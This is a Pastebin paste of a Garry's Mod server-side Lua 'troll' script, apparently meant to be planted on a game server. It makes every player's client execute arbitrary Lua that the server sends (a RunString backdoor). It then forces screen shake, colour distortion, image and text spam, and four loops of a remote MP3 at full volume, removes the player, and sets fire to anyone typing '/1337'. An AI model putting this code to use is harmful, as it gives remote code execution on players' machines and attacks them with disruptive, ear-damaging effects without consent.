API tools faq
paste
2much4Us

Untitled

2much4Us
Oct 4th, 2018
663
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.94 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66. --Disco time
  67. lol:PushAction( 0, function( pPlayer )
  68. local idx = pPlayer:EntIndex()
  69. timer.Create( "beat".. idx, 0.42, 0, function()
  70. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  71. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  72. end )
  73.  
  74. lol:SendLua( pPlayer, [[
  75. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  76. local time = 0
  77.  
  78. hook.Add( "Think", "wat", function()
  79. if CurTime() < time then
  80. return
  81. end
  82.  
  83. time = CurTime() +0.05
  84. for i = 1, 16 do
  85. local part = emitter:Add(
  86. "particles/balloon_bit",
  87. LocalPlayer():GetPos() +Vector(
  88. math.random( -256, 256 ),
  89. math.random( -256, 256 ),
  90. 256
  91. )
  92. )
  93.  
  94. if part then
  95. local Size = math.random( 4, 7 )
  96.  
  97. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  98. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  99. part:SetDieTime( 4.5 )
  100. part:SetGravity( Vector(40, 0, -250) )
  101. part:SetLifeTime( 0 )
  102. part:SetStartSize( Size /2 )
  103. part:SetEndSize( Size )
  104. part:SetCollide( true )
  105. end
  106. end
  107. end )
  108. ]] )
  109.  
  110. lol:SendLua( pPlayer, [[
  111. hook.Add( "RenderScreenspaceEffects", "wat", function()
  112. local sinScaler = math.sin( CurTime() )
  113. DrawBloom(
  114. 0,
  115. 3,
  116. sinScaler *math.Rand(1, 8),
  117. sinScaler *math.Rand(1, 8),
  118. 6,
  119. math.Rand(0.5, 2),
  120. math.Rand(0, 0.3),
  121. math.Rand(0, 0.3),
  122. math.Rand(0.5, 1)
  123. )
  124.  
  125. DrawColorModify{
  126. ["$pp_colour_addr"] = 0,
  127. ["$pp_colour_addg"] = 0,
  128. ["$pp_colour_addb"] = 00,
  129. ["$pp_colour_brightness" ] = 0,
  130. ["$pp_colour_contrast" ] = 1,
  131. ["$pp_colour_colour" ] = 1,
  132. ["$pp_colour_mulr" ] = 0,
  133. ["$pp_colour_mulg" ] = 0,
  134. ["$pp_colour_mulb" ] = 1
  135. }
  136. end )
  137. ]] )
  138. end )
  139.  
  140.  
  141. --EVIL TIME rip headpones
  142. lol:PushAction( 0, function( pPlayer )
  143. lol:SendLua( pPlayer, [[
  144. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  145.  
  146. local sounds = {}
  147. for i = 1, 4 do
  148. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "noblock noplay", function( pChan )
  149. sounds[#sounds +1] = pChan
  150. end )
  151. end
  152.  
  153. timer.Create( "asdf", 1, 0, function()
  154. if #sounds ~= 4 then return end
  155. timer.Destroy( "asdf" )
  156. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  157. end )
  158.  
  159.  
  160. surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,})
  161. local disco1 = vgui.Create("DHTML") disco1:SetSize(800,800) disco1:SetPos(ScrW() /550 - 15, ScrH() /1.25) disco1:OpenURL("http://i.imgur.com/L1LZmek.png")
  162. local disco2 = vgui.Create("DHTML") disco2:SetSize(800,800) disco2:SetPos(200,0) disco2:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  163. local disco3 = vgui.Create("DHTML") disco3:SetSize(800,800) disco3:SetPos(ScrW()-550,0) disco3:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  164. hook.Add( "HUDPaint", "Lines", function()
  165. local center = Vector(ScrW()/2, ScrH()/2, 0)
  166. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  167. for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end
  168. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  169. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  170. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  171. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  172. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  173. for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end
  174. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  175. for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  176. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  177. for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  178. local col = 100 for i=0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end
  179. local col = 100 for i=0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end
  180. for i = 1,32 do draw.SimpleTextOutlined("MEMES!! MEMES!!","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end
  181. end)
  182.  
  183. ]] )
  184.  
  185. pPlayer:Remove()
  186. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!